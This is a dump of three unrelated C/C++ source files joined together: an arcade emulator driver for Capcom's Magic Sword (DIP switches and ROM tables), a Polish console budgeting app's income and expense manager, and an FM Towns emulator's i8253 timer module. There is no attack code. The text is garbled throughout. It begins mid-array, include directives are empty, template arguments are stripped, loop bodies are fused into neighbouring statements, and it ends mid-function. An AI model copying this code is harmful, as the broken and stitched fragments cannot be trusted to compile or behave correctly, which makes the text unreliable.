BIT_DIPSWITCH, &Cpi01C , "dip"}, {"Dip C" , BIT_DIPSWITCH, &Cpi01E , "dip"}, }; STDINPUTINFO(Drv); static struct BurnDIPInfo mswordDIPList[]= { // Defaults {0x15, 0xff, 0xff, 0x00, NULL }, {0x16, 0xff, 0xff, 0x00, NULL }, {0x17, 0xff, 0xff, 0x40, NULL }, // Dip A {0 , 0xfe, 0 , 8 , "A Side" }, {0x15, 0x01, 0x07, 0x07, "4 Coins 1 Credit" }, {0x15, 0x01, 0x07, 0x06, "3 Coins 1 Credit" }, {0x15, 0x01, 0x07, 0x05, "2 Coins 1 Credit" }, {0x15, 0x01, 0x07, 0x00, "1 Coin 1 Credit" }, {0x15, 0x01, 0x07, 0x01, "1 Coin 2 Credits" }, {0x15, 0x01, 0x07, 0x02, "1 Coin 3 Credits" }, {0x15, 0x01, 0x07, 0x03, "1 Coin 4 Credits" }, {0x15, 0x01, 0x07, 0x04, "1 Coin 6 Credits" }, {0 , 0xfe, 0 , 8 , "B Side" }, {0x15, 0x01, 0x38, 0x38, "4 Coins 1 Credit" }, {0x15, 0x01, 0x38, 0x30, "3 Coins 1 Credit" }, {0x15, 0x01, 0x38, 0x28, "2 Coins 1 Credit" }, {0x15, 0x01, 0x38, 0x00, "1 Coin 1 Credit" }, {0x15, 0x01, 0x38, 0x08, "1 Coin 2 Credits" }, {0x15, 0x01, 0x38, 0x10, "1 Coin 3 Credits" }, {0x15, 0x01, 0x38, 0x18, "1 Coin 4 Credits" }, {0x15, 0x01, 0x38, 0x20, "1 Coin 6 Credits" }, {0 , 0xfe, 0 , 2 , "2C to Start, 1 to Cont" }, {0x15, 0x01, 0x40, 0x00, "Off" }, {0x15, 0x01, 0x40, 0x40, "On" }, // {0 , 0xfe, 0 , 2 , "Unknown" }, // {0x15, 0x01, 0x80, 0x00, "Off" }, // {0x15, 0x01, 0x80, 0x80, "On" }, // Dip B {0 , 0xfe, 0 , 8 , "Level 1" }, {0x16, 0x01, 0x07, 0x00, "Easy 3" }, {0x16, 0x01, 0x07, 0x01, "Easy 2" }, {0x16, 0x01, 0x07, 0x02, "Easy 1" }, {0x16, 0x01, 0x07, 0x03, "Normal" }, {0x16, 0x01, 0x07, 0x04, "Difficult 1" }, {0x16, 0x01, 0x07, 0x05, "Difficult 2" }, {0x16, 0x01, 0x07, 0x06, "Difficult 3" }, {0x16, 0x01, 0x07, 0x07, "Difficult 4" }, {0 , 0xfe, 0 , 8 , "Level 2" }, {0x16, 0x01, 0x38, 0x18, "Easy 3" }, {0x16, 0x01, 0x38, 0x10, "Easy 2" }, {0x16, 0x01, 0x38, 0x08, "Easy 1" }, {0x16, 0x01, 0x38, 0x00, "Normal" }, {0x16, 0x01, 0x38, 0x20, "Difficult 1" }, {0x16, 0x01, 0x38, 0x28, "Difficult 2" }, {0x16, 0x01, 0x38, 0x30, "Difficult 3" }, {0x16, 0x01, 0x38, 0x38, "Difficult 4" }, {0 , 0xfe, 0 , 2 , "Stage Select" }, {0x16, 0x01, 0x40, 0x00, "Off" }, {0x16, 0x01, 0x40, 0x40, "On" }, // {0 , 0xfe, 0 , 2 , "Unknown" }, // {0x16, 0x01, 0x80, 0x00, "Off" }, // {0x16, 0x01, 0x80, 0x80, "On" }, // Dip C {0 , 0xfe, 0 , 4 , "Vitality" }, {0x17, 0x01, 0x03, 0x03, "1" }, {0x17, 0x01, 0x03, 0x00, "2" }, {0x17, 0x01, 0x03, 0x01, "3" }, {0x17, 0x01, 0x03, 0x02, "4" }, {0 , 0xfe, 0 , 2 , "Free Play" }, {0x17, 0x01, 0x04, 0x00, "Off" }, {0x17, 0x01, 0x04, 0x04, "On" }, {0 , 0xfe, 0 , 2 , "Freeze" }, {0x17, 0x01, 0x08, 0x00, "Off" }, {0x17, 0x01, 0x08, 0x08, "On" }, {0 , 0xfe, 0 , 2 , "Flip" }, {0x17, 0x01, 0x10, 0x00, "Off" }, {0x17, 0x01, 0x10, 0x10, "On" }, {0 , 0xfe, 0 , 2 , "Demo Sound" }, {0x17, 0x01, 0x20, 0x00, "Off" }, {0x17, 0x01, 0x20, 0x20, "On" }, {0 , 0xfe, 0 , 2 , "Continue" }, {0x17, 0x01, 0x40, 0x00, "Off" }, {0x17, 0x01, 0x40, 0x40, "On" }, }; STDDIPINFO(msword); static int DrvInit() { int nRet=0; Cps=1; Msword=1; nCpsRomLen = 0x100000; nCpsCodeLen=0; // not encrypted nCpsGfxLen =4*0x080000; nCpsZRomLen= 0x010000; nCpsAdLen =2*0x020000; nRet=CpsInit(); if (nRet!=0) return 1; // Load program roms nRet=BurnLoadRom(CpsRom+0x000001,0,2); if (nRet!=0) return 1; nRet=BurnLoadRom(CpsRom+0x000000,1,2); if (nRet!=0) return 1; nRet=BurnLoadRom(CpsRom+0x040001,2,2); if (nRet!=0) return 1; nRet=BurnLoadRom(CpsRom+0x040000,3,2); if (nRet!=0) return 1; nRet=BurnLoadRom(CpsRom+0x080000,4,1); if (nRet!=0) return 1; // Already byteswapped // Load graphics roms CpsLoadTiles(CpsGfx,5); nCpsLcReg=0x62; // Layer control register is at 0x62 CpsLayEn[1]=0x20; CpsLayEn[2]=0x04; CpsLayEn[3]=0x02; MaskAddr[0]=0x64; MaskAddr[1]=0x66; MaskAddr[2]=0x68; MaskAddr[3]=0x6a; StartScroll[SCROLL_2]=0x2800; EndScroll[SCROLL_2]=0x37ff; // Load Z80 Rom nRet=BurnLoadRom(CpsZRom,9,1); // Load ADPCM data nRet=BurnLoadRom(CpsAd ,10,1); nRet=BurnLoadRom(CpsAd+0x20000,11,1); nRet=CpsRunInit(); if (nRet!=0) return 1; // Ready to go return 0; } static int DrvExit() { StartScroll[SCROLL_2]=0; EndScroll[SCROLL_2]=0xffff; CpsRunExit(); CpsExit(); nCpsAdLen=0; nCpsZRomLen=0; nCpsGfxLen=0; nCpsRomLen=0; Cps=0; Msword=0; return 0; } //==================================== //Magic Sword - heroic fantasy (World) //==================================== static struct BurnRomInfo MswordRomDesc[] = { { "mse_30.rom", 0x20000, 0x03fc8dbc, BRF_ESS | BRF_PRG }, // 0 68000 code { "mse_35.rom", 0x20000, 0xd5bf66cd, BRF_ESS | BRF_PRG }, // 1 { "mse_31.rom", 0x20000, 0x30332bcf, BRF_ESS | BRF_PRG }, // 2 68000 code { "mse_36.rom", 0x20000, 0x8f7d6ce9, BRF_ESS | BRF_PRG }, // 3 { "ms_32.rom", 0x80000, 0x2475ddfc, BRF_ESS | BRF_PRG }, // 4 // 5 { "ms_gfx5.rom", 0x80000, 0xc00fe7e2, BRF_GRA }, { "ms_gfx7.rom", 0x80000, 0x4ccacac5, BRF_GRA }, { "ms_gfx1.rom", 0x80000, 0x0d2bbe00, BRF_GRA }, { "ms_gfx3.rom", 0x80000, 0x3a1a5bf4, BRF_GRA }, // 9 // z80 program { "ms_9.rom", 0x10000, 0x57b29519, BRF_SND }, // adpcm samples { "ms_18.rom", 0x20000, 0xfb64e90d, BRF_SND }, { "ms_19.rom", 0x20000, 0x74f892b9, BRF_SND }, // 18 }; // Make The RomInfo/Name functions for the game STD_ROM_PICK(Msword) STD_ROM_FN(Msword) struct BurnDriver BurnDrvCpsMsword = { "msword", NULL, NULL, "1990", "Magic Sword - heroic fantasy (25.07.1990 other country)\0", NULL, "Capcom", "CPS1", NULL, NULL, NULL, NULL, BDF_GAME_WORKING,2,HARDWARE_CAPCOM_CPS1, NULL,MswordRomInfo,MswordRomName,DrvInputInfo, mswordDIPInfo, DrvInit,DrvExit,Cps1Frame,CpsRedraw,CpsAreaScan, &CpsRecalcPal,384,224,4,3 }; //======================================= //Magic Sword - heroic fantasy (World r1) //======================================= static struct BurnRomInfo Mswordr1RomDesc[] = { { "ms30.11f", 0x20000, 0x21c1f078, BRF_ESS | BRF_PRG }, // 0 68000 code { "ms35.11h", 0x20000, 0xa540a73a, BRF_ESS | BRF_PRG }, // 1 { "ms31.12f", 0x20000, 0xd7e762b5, BRF_ESS | BRF_PRG }, // 2 68000 code { "ms36.12h", 0x20000, 0x66f2dcdb, BRF_ESS | BRF_PRG }, // 3 { "ms_32.rom", 0x80000, 0x2475ddfc, BRF_ESS | BRF_PRG }, // 4 // 5 { "ms_gfx5.rom", 0x80000, 0xc00fe7e2, BRF_GRA }, { "ms_gfx7.rom", 0x80000, 0x4ccacac5, BRF_GRA }, { "ms_gfx1.rom", 0x80000, 0x0d2bbe00, BRF_GRA }, { "ms_gfx3.rom", 0x80000, 0x3a1a5bf4, BRF_GRA }, // 9 // z80 program { "ms_9.rom", 0x10000, 0x57b29519, BRF_SND }, // adpcm samples { "ms_18.rom", 0x20000, 0xfb64e90d, BRF_SND }, { "ms_19.rom", 0x20000, 0x74f892b9, BRF_SND }, // 18 }; // Make The RomInfo/Name functions for the game STD_ROM_PICK(Mswordr1) STD_ROM_FN(Mswordr1) struct BurnDriver BurnDrvCpsMswordr1 = { "mswordr1", "msword", NULL, "1990", "Magic Sword - heroic fantasy (90.06.23 other country)\0", NULL, "Capcom", "CPS1", NULL, NULL, NULL, NULL, BDF_GAME_WORKING | BDF_CLONE,2,HARDWARE_CAPCOM_CPS1, NULL,Mswordr1RomInfo,Mswordr1RomName,DrvInputInfo, mswordDIPInfo, DrvInit,DrvExit,Cps1Frame,CpsRedraw,CpsAreaScan, &CpsRecalcPal,384,224,4,3 }; //=================== //Magic Sword (Japan) //=================== static struct BurnRomInfo MswordjRomDesc[] = { { "msj_36.bin", 0x20000, 0x04f0ef50, BRF_ESS | BRF_PRG }, // 0 68000 code { "msj_42.bin", 0x20000, 0x9fcbb9cd, BRF_ESS | BRF_PRG }, // 1 { "msj_37.bin", 0x20000, 0x6c060d70, BRF_ESS | BRF_PRG }, // 2 68000 code { "msj_43.bin", 0x20000, 0xaec77787, BRF_ESS | BRF_PRG }, // 3 { "ms_32.rom", 0x80000, 0x2475ddfc, BRF_ESS | BRF_PRG }, // 4 // 5 { "ms_gfx5.rom", 0x80000, 0xc00fe7e2, BRF_GRA }, { "ms_gfx7.rom", 0x80000, 0x4ccacac5, BRF_GRA }, { "ms_gfx1.rom", 0x80000, 0x0d2bbe00, BRF_GRA }, { "ms_gfx3.rom", 0x80000, 0x3a1a5bf4, BRF_GRA }, // 9 // z80 program { "ms_9.rom", 0x10000, 0x57b29519, BRF_SND }, // adpcm samples { "ms_18.rom", 0x20000, 0xfb64e90d, BRF_SND }, { "ms_19.rom", 0x20000, 0x74f892b9, BRF_SND }, // 18 }; // Make The RomInfo/Name functions for the game STD_ROM_PICK(Mswordj) STD_ROM_FN(Mswordj) struct BurnDriver BurnDrvCpsMswordj = { "mswordj", "msword", NULL, "1990", "Magic Sword (23.06.1990 Japan)\0", NULL, "Capcom", "CPS1", L"Magic Sword (23.06.1990 Japan)\0Magic Sword\u30DE\u30B8\u30C3\u30AF\uFF65\u30BD\u30FC\u30C9\0", NULL, NULL, NULL, BDF_GAME_WORKING | BDF_CLONE,2,HARDWARE_CAPCOM_CPS1, NULL,MswordjRomInfo,MswordjRomName,DrvInputInfo, mswordDIPInfo, DrvInit,DrvExit,Cps1Frame,CpsRedraw,CpsAreaScan, &CpsRecalcPal,384,224,4,3 }; //================================== //Magic Sword - heroic fantasy (USA) //================================== static struct BurnRomInfo MsworduRomDesc[] = { { "msu30", 0x20000, 0xd963c816, BRF_ESS | BRF_PRG }, // 0 68000 code { "msu35", 0x20000, 0x72f179b3, BRF_ESS | BRF_PRG }, // 1 { "msu31", 0x20000, 0x20cd7904, BRF_ESS | BRF_PRG }, // 2 68000 code { "msu36", 0x20000, 0xbf88c080, BRF_ESS | BRF_PRG }, // 3 { "ms_32.rom", 0x80000, 0x2475ddfc, BRF_ESS | BRF_PRG }, // 4 // 5 { "ms_gfx5.rom", 0x80000, 0xc00fe7e2, BRF_GRA }, { "ms_gfx7.rom", 0x80000, 0x4ccacac5, BRF_GRA }, { "ms_gfx1.rom", 0x80000, 0x0d2bbe00, BRF_GRA }, { "ms_gfx3.rom", 0x80000, 0x3a1a5bf4, BRF_GRA }, // 9 // z80 program { "ms_9.rom", 0x10000, 0x57b29519, BRF_SND }, // adpcm samples { "ms_18.rom", 0x20000, 0xfb64e90d, BRF_SND }, { "ms_19.rom", 0x20000, 0x74f892b9, BRF_SND }, // 18 }; // Make The RomInfo/Name functions for the game STD_ROM_PICK(Mswordu) STD_ROM_FN(Mswordu) struct BurnDriver BurnDrvCpsMswordu = { "mswordu", "msword", NULL, "1990", "Magic Sword - heroic fantasy (25.07.1990 USA)\0", NULL, "Capcom", "CPS1", NULL, NULL, NULL, NULL, BDF_GAME_WORKING | BDF_CLONE,2,HARDWARE_CAPCOM_CPS1, NULL,MsworduRomInfo,MsworduRomName,DrvInputInfo, mswordDIPInfo, DrvInit,DrvExit,Cps1Frame,CpsRedraw,CpsAreaScan, &CpsRecalcPal,384,224,4,3 }; bartoszplutaprogramista/personalBudget #include "AddManager.h" int AddManager::addExpense(){ system("cls"); Expenses expenses; FileXMLExpenses fileXMLExpenses; expenses = writeNewThingsOfExpenses(); expensesVec.push_back(expenses); fileXMLExpenses.addExpenseToTheFile(expenses); cout << endl << "Wydatek dodano pomyslnie" << endl << endl; system("pause"); return 0; } Expenses AddManager::writeNewThingsOfExpenses(){ Expenses expenses; string date; char choice; cout << "Dodaj wydatek" << endl; cout << "1. Z dniem dzisiejszym" << endl; cout << "2. Inna data" << endl; cin >> choice; if (choice == '1'){ expenses = writeTodayExpenses(); } else { cout << "Wprowadz date format RRRR-MM-DD: "; date = AuxiliaryMethods::loadLine(); if (Date::checkWetherTheDateIsGood(date)==true){ if(Date::checkDateValidation(date)==true){ expenses = writeWithAnotherDateOfExpenses(date); }else{ system("cls"); expenses = writeNewThingsOfExpenses(); } } else { system("cls"); expenses = writeNewThingsOfExpenses(); } } return expenses; } int AddManager::getIDOfNewUserOfExpenses(){ FileXMLExpenses fileXMLExpenses; int help = 0; int help2 = 0; help2 = fileXMLExpenses.getLastNumberOfExpenseID(); if ( help2 == 0) return 1; else help = fileXMLExpenses.getLastNumberOfExpenseID() + 1; return help; } Expenses AddManager::writeWithAnotherDateOfExpenses(string date){ Expenses expenses; string item; string yearMonthDay = ""; int dateInt = 0; float expensesFloat; string amountText, amountTextDot; expenseID = getIDOfNewUserOfExpenses(); expenses.setExpensesId(expenseID); expenses.setUserId(LOGGED_IN_USER_ID); yearMonthDay = Date::getYearMonthDay(date); dateInt = AuxiliaryMethods::convertStringToInt(yearMonthDay); expenses.setDate(dateInt); cout << "Czego dotyczy wydatek: "; item = AuxiliaryMethods::loadLine(); expenses.setItem(item); cout << "Podaj wysokosc wydatku: "; amountText = AuxiliaryMethods::loadLine(); amountTextDot = checkTheComma(amountText); expensesFloat=atof(amountTextDot.c_str()); expenses.setAmount(expensesFloat); return expenses; } Expenses AddManager::writeTodayExpenses(){ Expenses expenses; string date; string item; string yearMonthDay = ""; int dateInt = 0; float expensesFloat; string amountText, amountTextDot; expenseID = getIDOfNewUserOfExpenses(); expenses.setExpensesId(expenseID); expenses.setUserId(LOGGED_IN_USER_ID); date = Date::getSystemDate(); dateInt = AuxiliaryMethods::convertStringToInt(date); expenses.setDate(dateInt); cout << "Czego dotyczy wydatek: "; item = AuxiliaryMethods::loadLine(); expenses.setItem(item); cout << "Podaj wysokosc wydatku: "; amountText = AuxiliaryMethods::loadLine(); amountTextDot = checkTheComma(amountText); expensesFloat=atof(amountTextDot.c_str()); expenses.setAmount(expensesFloat); return expenses; } int AddManager::addIncome(){ system("cls"); Incomes incomes; FileXMLIncomes fileXMLIncomes; incomes = writeNewThings(); incomesVec.push_back(incomes); fileXMLIncomes.addIncomeToTheFile(incomes); cout << endl << "Przychod dodano pomyslnie" << endl << endl; system("pause"); return 0; } int AddManager::getIDOfNewUser(){ FileXMLIncomes fileXMLIncomes; int help = 0; int help2 = 0; help2 = fileXMLIncomes.getLastNumberOfIncomeID(); if ( help2 == 0) return 1; else help = fileXMLIncomes.getLastNumberOfIncomeID() + 1; return help; } Incomes AddManager::writeToday(){ Incomes incomes; string date; string item; string yearMonthDay = ""; int dateInt = 0; float incomesFloat; string amountText, amountTextDot; incomeID = getIDOfNewUser(); incomes.setIncomeId(incomeID); incomes.setUserId(LOGGED_IN_USER_ID); date = Date::getSystemDate(); dateInt = AuxiliaryMethods::convertStringToInt(date); incomes.setDate(dateInt); cout << "Czego dotyczy przychod: "; item = AuxiliaryMethods::loadLine(); incomes.setItem(item); cout << "Podaj wysokosc przychodu: "; amountText = AuxiliaryMethods::loadLine(); amountTextDot = checkTheComma(amountText); incomesFloat=atof(amountTextDot.c_str()); incomes.setAmount(incomesFloat); return incomes; } Incomes AddManager::writeWithAnotherDate(string date){ Incomes incomes; string item; string yearMonthDay = ""; int dateInt = 0; float incomesFloat; string amountText, amountTextDot; incomeID = getIDOfNewUser(); incomes.setIncomeId(incomeID); incomes.setUserId(LOGGED_IN_USER_ID); yearMonthDay = Date::getYearMonthDay(date); dateInt = AuxiliaryMethods::convertStringToInt(yearMonthDay); incomes.setDate(dateInt); cout << "Czego dotyczy przychod: "; item = AuxiliaryMethods::loadLine(); incomes.setItem(item); cout << "Podaj wysokosc przychodu: "; amountText = AuxiliaryMethods::loadLine(); amountTextDot = checkTheComma(amountText); incomesFloat=atof(amountTextDot.c_str()); incomes.setAmount(incomesFloat); return incomes; } Incomes AddManager::writeNewThings(){ Incomes incomes; string date; char choice; cout << "Dodaj przychod" << endl; cout << "1. Z dniem dzisiejszym" << endl; cout << "2. Inna data" << endl; cin >> choice; if (choice == '1'){ incomes = writeToday(); } else { cout << "Wprowadz date format RRRR-MM-DD: "; date = AuxiliaryMethods::loadLine(); if (Date::checkWetherTheDateIsGood(date)==true){ if(Date::checkDateValidation(date)==true){ incomes = writeWithAnotherDate(date); }else{ system("cls"); incomes = writeNewThings(); } } else { system("cls"); incomes = writeNewThings(); } } return incomes; } string AddManager::checkTheComma(string amountText){ for (int i = 0; i < amountText.length(); i++){ if (amountText[i] == ','){ amountText[i] = '.'; } } return amountText; } void AddManager::loadDataOfIncomesIntoAVector(){ FileXMLIncomes fileXMLIncomes; incomesVec = fileXMLIncomes.loadDataOfIncomesIntoAnAuxiliaryVector(LOGGED_IN_USER_ID); } void AddManager::loadDataOfExpensesIntoAVector(){ FileXMLExpenses fileXMLExpenses; expensesVec = fileXMLExpenses.loadDataOfExpensesIntoAnAuxiliaryVector(LOGGED_IN_USER_ID); } vector AddManager::getIncomesVec(){ return incomesVec; } vector AddManager::getExpensesVec(){ return expensesVec; } int AddManager::getLOGGED_IN_USER_ID(){ return LOGGED_IN_USER_ID; } /* LICENSE>> Copyright 2020 (CaptainYS, http://www.ysflight.com) Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. << LICENSE */ #include #include #include #include "timer.h" #include "towns.h" #include "pic.h" #include "cpputil.h" void TownsTimer::State::PowerOn(void) { Reset(); } void TownsTimer::State::Reset(void) { lastTickTimeInNS=0; for(auto &ch : channels) { ch.mode=0; ch.lastCmd=0; ch.counterInitialValue=0; ch.counter=0; ch.counting=false; ch.latchedCounter=0; ch.increment=1; ch.bcd=false; ch.OUT=false; ch.latched=false; ch.RL=1; ch.accessLow=true; } for(auto &b : TMMSK) { b=false; } for(auto &b : TMOUT) { b=false; } SOUND=true; SOUND_MEMIO = false; buzzerPhase = 0; } void TownsTimer::State::Latch(unsigned int ch) { // i8254 data sheet tells that the first-latched value stays until it is unlatched by reading. auto &CH=channels[ch&7]; if(true!=CH.latched) { CH.latched=true; CH.latchedCounter=CH.counter; } } unsigned short TownsTimer::State::ReadLatchedCounter(unsigned int ch) const { auto &CH=channels[ch&7]; CH.latched=false; return CH.latchedCounter; } void TownsTimer::State::SetChannelCounter(unsigned int ch,unsigned int value) { auto &CH=channels[ch&7]; if(true==CH.accessLow) { CH.counterInitialValue&=0xff00; CH.counterInitialValue|=(value&0xff); if(0==CH.mode) { // i8253 data sheet tells that "Rewriting a counter register during counting results // in the following: (1) Write 1st byte stops the counting. (2) Write 2nd byte starts the // new count." However, it seems that it should start counting immediately after // writing to the lower byte if RL=1. // However, Page 3-57 also tells that "it must be loaded with the number of bytes // programmed in the MODE control word (RL0, ROl1)." The implication is the counter is // 8 bit if RL=1, in which case it makes sense to start counting when LSB is written. if(1!=CH.RL) { CH.counting=false; } else { CH.counting=true; } } } else { CH.counterInitialValue&=0xff; CH.counterInitialValue|=((value&0xff)<<8); if(0==CH.mode) { CH.counting=true; } } switch(CH.mode) { case 0: CH.OUT=false; break; case 3: CH.OUT=true; if(true==CH.accessLow) { CH.counterInitialValue+=(value&1); // Force it to be even number. } break; } CH.counter=CH.counterInitialValue; // Don't do it until the end. CH.accessLow is checked inside switch(CH.mode). if(3==CH.RL) { CH.accessLow=(true==CH.accessLow ? false : true); } } void TownsTimer::State::SetChannelMode(unsigned int ch,unsigned int mode) { auto &CH=channels[ch&7]; CH.mode=mode; if(0==mode) { CH.counting=false; } else { CH.counting=true; } } unsigned int TownsTimer::State::ReadChannelCounter(unsigned int ch) // accessLow may flip. Not to be const. { unsigned int data=0; auto &CH=channels[ch&7]; if(true==CH.accessLow) { data=CH.latchedCounter&0xff; } else { data=(CH.latchedCounter>>8)&0xff; } if(3==CH.RL) { CH.accessLow=(true==CH.accessLow ? false : true); } return data; } void TownsTimer::State::ProcessControlCommand(unsigned int ch,unsigned int cmd) { auto &CH=channels[ch&7]; CH.lastCmd=cmd; CH.bcd=(0!=(cmd&1)); auto RL=(cmd>>4)&3; if(0==RL) { Latch(ch); } else { CH.RL=RL; if(1==RL) { CH.accessLow=true; } else if(2==RL) { CH.accessLow=false; } else if(3==RL) { CH.accessLow=true; } } } void TownsTimer::State::TickIn(unsigned int nTick) { for(int ch=0; chtownsPtr=townsPtr; this->picPtr=picPtr; } /* virtual */ void TownsTimer::PowerOn(void) { state.PowerOn(); } /* virtual */ void TownsTimer::Reset(void) { state.Reset(); // [2] pp. 77 // In FM Towns Channel 0,2,3 is set to Mode 3, and Channel 1 Mode 0. // My guess is it is meant Channel 0,2,"4" are in Mode 3. Channel 3 is not supposed to be used. // Confirmed MOD=3 is written to channel 0. // How come? My only guess is that FM Towns is not directly using OUT signal from i8253. // Instead it probably uses rising edge of OUT to flip TM1OUT/SOUND to 1. state.SetChannelMode(0,3); state.SetChannelMode(1,0); state.SetChannelMode(2,3); state.SetChannelMode(3,3); state.SetChannelMode(4,3); state.SetChannelMode(5,3); state.channels[4].increment=4; // Only channel 4 counts up 1.2288MHz. Others 307.2KHz. } /* virtual */ void TownsTimer::IOWriteByte(unsigned int ioport,unsigned int data) { switch(ioport) { case TOWNSIO_TIMER0_COUNT:// 0x40, state.SetChannelCounter(0,data); break; case TOWNSIO_TIMER1_COUNT:// 0x42, state.SetChannelCounter(1,data); state.TMOUT[1]=false; UpdatePICRequest(); break; case TOWNSIO_TIMER2_COUNT:// 0x44, state.SetChannelCounter(2,data); break; case TOWNSIO_TIMER_0_1_2_CTRL:// 0x46, { unsigned ch=((data>>6)&3); state.ProcessControlCommand(ch,data&0x3f); } break; case TOWNSIO_TIMER3_COUNT:// 0x50, state.SetChannelCounter(3,data); break; case TOWNSIO_TIMER4_COUNT:// 0x52, state.SetChannelCounter(4,data); break; case TOWNSIO_TIMER5_COUNT:// 0x54, state.SetChannelCounter(5,data); break; case TOWNSIO_TIMER_3_4_5_CTRL:// 0x56, { unsigned ch=3+((data>>6)&3); state.ProcessControlCommand(ch,data&0x3f); } break; case TOWNSIO_TIMER_INT_CTRL_INT_REASON://0x60, { bool prevBeep=state.SOUND; state.TMMSK[0]=(0!=(data&1)); state.TMMSK[1]=(0!=(data&2)); state.SOUND=(0!=(data&4)); if(0!=(data&0x80)) { state.TMOUT[0]=false; } if(true==breakOnBeep && true!=prevBeep && true==state.SOUND) { townsPtr->debugger.ExternalBreak("Beep On"); } } UpdatePICRequest(); break; } } /* virtual */ unsigned int TownsTimer::IOReadByte(unsigned int ioport) { unsigned char data=0xff; switch(ioport) { case TOWNSIO_TIMER0_COUNT:// 0x40, data=state.ReadChannelCounter(0); break; case TOWNSIO_TIMER1_COUNT:// 0x42, data=state.ReadChannelCounter(1); state.TMOUT[1]=false; break; case TOWNSIO_TIMER2_COUNT:// 0x44, data=state.ReadChannelCounter(2); break; case TOWNSIO_TIMER_0_1_2_CTRL:// 0x46, break; case TOWNSIO_TIMER3_COUNT:// 0x50, data=state.ReadChannelCounter(3); break; case TOWNSIO_TIMER4_COUNT:// 0x52, data=state.ReadChannelCounter(4); break; case TOWNSIO_TIMER5_COUNT:// 0x54, data=state.ReadChannelCounter(5); break; case TOWNSIO_TIMER_3_4_5_CTRL:// 0x56, break; case TOWNSIO_TIMER_INT_CTRL_INT_REASON://0x60, data=0; data|=(state.TMOUT[0] ? 0x01 : 0); data|=(state.TMOUT[1] ? 0x02 : 0); data|=(state.TMMSK[0] ? 0x04 : 0); data|=(state.TMMSK[1] ? 0x08 : 0); data|=(state.SOUND ? 0x10 : 0); break; } return data; } void TownsTimer::UpdatePICRequest(void) const { auto IRQBit=((state.TMOUT[0] && state.TMMSK[0]) || (state.TMOUT[1] && state.TMMSK[1])); picPtr->SetInterruptRequestBit(TOWNSIRQ_TIMER,IRQBit); } std::vector TownsTimer::GetStatusText(void) const { std::string newline; std::vector text; text.push_back("Programmable Timer (i8253 x2)"); for(int ch=0; ch>1)&7); text.back()+=" Actual_MOD="; text.back()+=cpputil::Ubtox(CH.mode); text.back()+=" BCD="; text.back()+=(CH.bcd ? "1" : "0"); text.back()+=" RL="; text.back()+=cpputil::Ubtox((CH.lastCmd>>4)&3); text.back()+=" CTR="; text.back()+=cpputil::Ustox(CH.counter); text.back()+=" CTR0="; text.back()+=cpputil::Ustox(CH.counterInitialValue); text.back()+=" LATCHED="; text.back()+=((CH.latched) ? "1" : "0"); text.back()+=" LATCHEDCTR="; text.back()+=cpputil::Ustox(CH.latchedCounter); text.back()+=" OUT="; text.back()+=((CH.OUT) ? "1" : "0"); } text.push_back(newline); text.back()+="TM0INT:"; text.back()+=(state.TMMSK[0] ? "Enabled" : "Disabled"); text.back()+=" TM1INT:"; text.back()+=(state.TMMSK[1] ? "Enabled" : "Disabled"); text.back()+=" TM0OUT:"; text.back()+=(state.TMOUT[0] ? "1" : "0"); text.back()+=" TM1OUT:"; text.back()+=(state.TMOUT[1] ? "1" : "0"); text.back()+=" SOUND:"; text.back()+=(state.SOUND ? "1" : "0"); return text; } void TownsTimer::ControlBuzzerByMemoryIO(bool on) { state.SOUND_MEMIO = on; } bool TownsTimer::IsBuzzerPlaying() const { return state.SOUND || state.SOUND_MEMIO; } /* * Features not implemented: * - BCD mode * - non-50% duty cycle on odd counter * - 4.6875Hz sound on zero counter */ std::pair> TownsTimer::MakeBuzzerWave(int ms) { // New version of clang doesn't like it. // static_assert(std::numeric_limits::max() > BUZZER_SAMPLING_RATE(), "BUZZER_SAMPLING_RATE too large."); // static_assert(std::numeric_limits::max() / BUZZER_VOLUME() > TIMER_CLOCK_HZ(), "BUZZER_VOLUME too large."); size_t samples = BUZZER_SAMPLING_RATE() * ms / 1000; std::vector vec; vec.resize(samples * 4); uint16_t counter = state.channels[2].counterInitialValue; if (counter < 2) { return std::make_pair(BUZZER_SAMPLING_RATE(), std::move(vec)); } uint32_t period = counter * BUZZER_SAMPLING_RATE(); uint32_t phase = state.buzzerPhase; int32_t i0 = std::min(phase, period - phase); auto t = vec.begin(); for (size_t n = 0; n < samples; ++n) { phase = (phase + TIMER_CLOCK_HZ()) % period; int32_t i1 = std::min(phase, period - phase); int16_t value = BUZZER_VOLUME() * (i1 - i0) / int32_t( TIMER_CLOCK_HZ() ); *t++ = value & 0xff; *t++ = (value >> 8) & 0xff; *t++ = value & 0xff; *t++ = (value >> 8) & 0xff; i0 = i1; } state.buzzerPhase = phase; return std::make_pair(BUZZER_SAMPLING_RATE(), std::move(vec)); } /* virtual */ uint32_t TownsTimer::SerializeVersion(void) const { return 0; } /* virtual */ void TownsTimer::SpecificSerialize(std::vector &data,std::string stateFName) const { PushUint64(data,state.lastTickTimeInNS); for(auto &ch : state.channels) { PushUint16(data,ch.mode); PushUint16(data,ch.lastCmd); PushUint16(data,ch.counter); PushUint16(data,ch.counterInitialValue); PushUint16(data,ch.latchedCounter); PushUint16(data,ch.increment); PushBool(data,ch.OUT); PushBool(data,ch.counting); PushBool(data,ch.latched); PushBool(data,ch.bcd); 